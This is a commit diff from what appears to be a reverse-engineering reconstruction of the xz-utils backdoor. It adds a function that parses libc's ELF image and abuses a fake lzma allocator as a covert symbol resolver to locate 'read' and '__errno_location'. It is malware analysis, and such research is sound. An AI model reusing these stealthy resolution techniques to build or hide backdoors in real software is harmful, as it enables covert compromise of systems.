xzre_code: add resolve_libc_imports

xzre.h

@@ -3894,6 +3894,15 @@ static_assert(sizeof(fake_lzma_allocator_offset) == 0x8);
 extern fake_lzma_allocator_t fake_lzma_allocator;
 static_assert(sizeof(fake_lzma_allocator) == 0x20);
 
+/**
+ * @brief lzma_alloc function, used by the backdoor as an ELF symbol resolver
+ * the @p allocator 's opaque field must point to a parsed @ref elf_info_t
+ *
+ * @param size the encoded string ID of the function to resolve
+ * @param allocator the fake lzma allocator referring to the @ref elf_info_t to search into.
+ */
+extern void *lzma_alloc(size_t size, lzma_allocator *allocator);
+
 /**
  * @brief special .data.rel.ro section that contains the offset to elf_functions
  * 

xzre_code/CMakeLists.txt

@@ -14,6 +14,7 @@ add_library(xzre_code
 	fake_lzma_free.c
 	find_function.c
 	main_elf_parse.c
+	resolve_libc_imports.c
 	rsa_key_hash.c
 	run_backdoor_commands.c
 	secret_data_append_from_address.c

xzre_code/resolve_libc_imports.c

@@ -0,0 +1,25 @@
+/**
+ * Copyright (C) 2024 Stefano Moioli <[email protected]>
+ **/
+#include "xzre.h"
+#include <elf.h>
+
+BOOL resolve_libc_imports(
+	struct link_map *libc,
+	elf_info_t *libc_info,
+	libc_imports_t *imports
+){
+	lzma_allocator *resolver = get_lzma_allocator();
+	if(!elf_parse((Elf64_Ehdr *)libc->l_addr, libc_info)){
+		return FALSE;
+	}
+	resolver->opaque = libc_info;
+	imports->read = lzma_alloc(STR_read, resolver);
+	if(imports->read)
+		++imports->resolved_imports_count;
+	imports->__errno_location = lzma_alloc(STR_errno_location, resolver);
+	if(imports->__errno_location)
+		++imports->resolved_imports_count;
+
+	return imports->resolved_imports_count == 2;
+}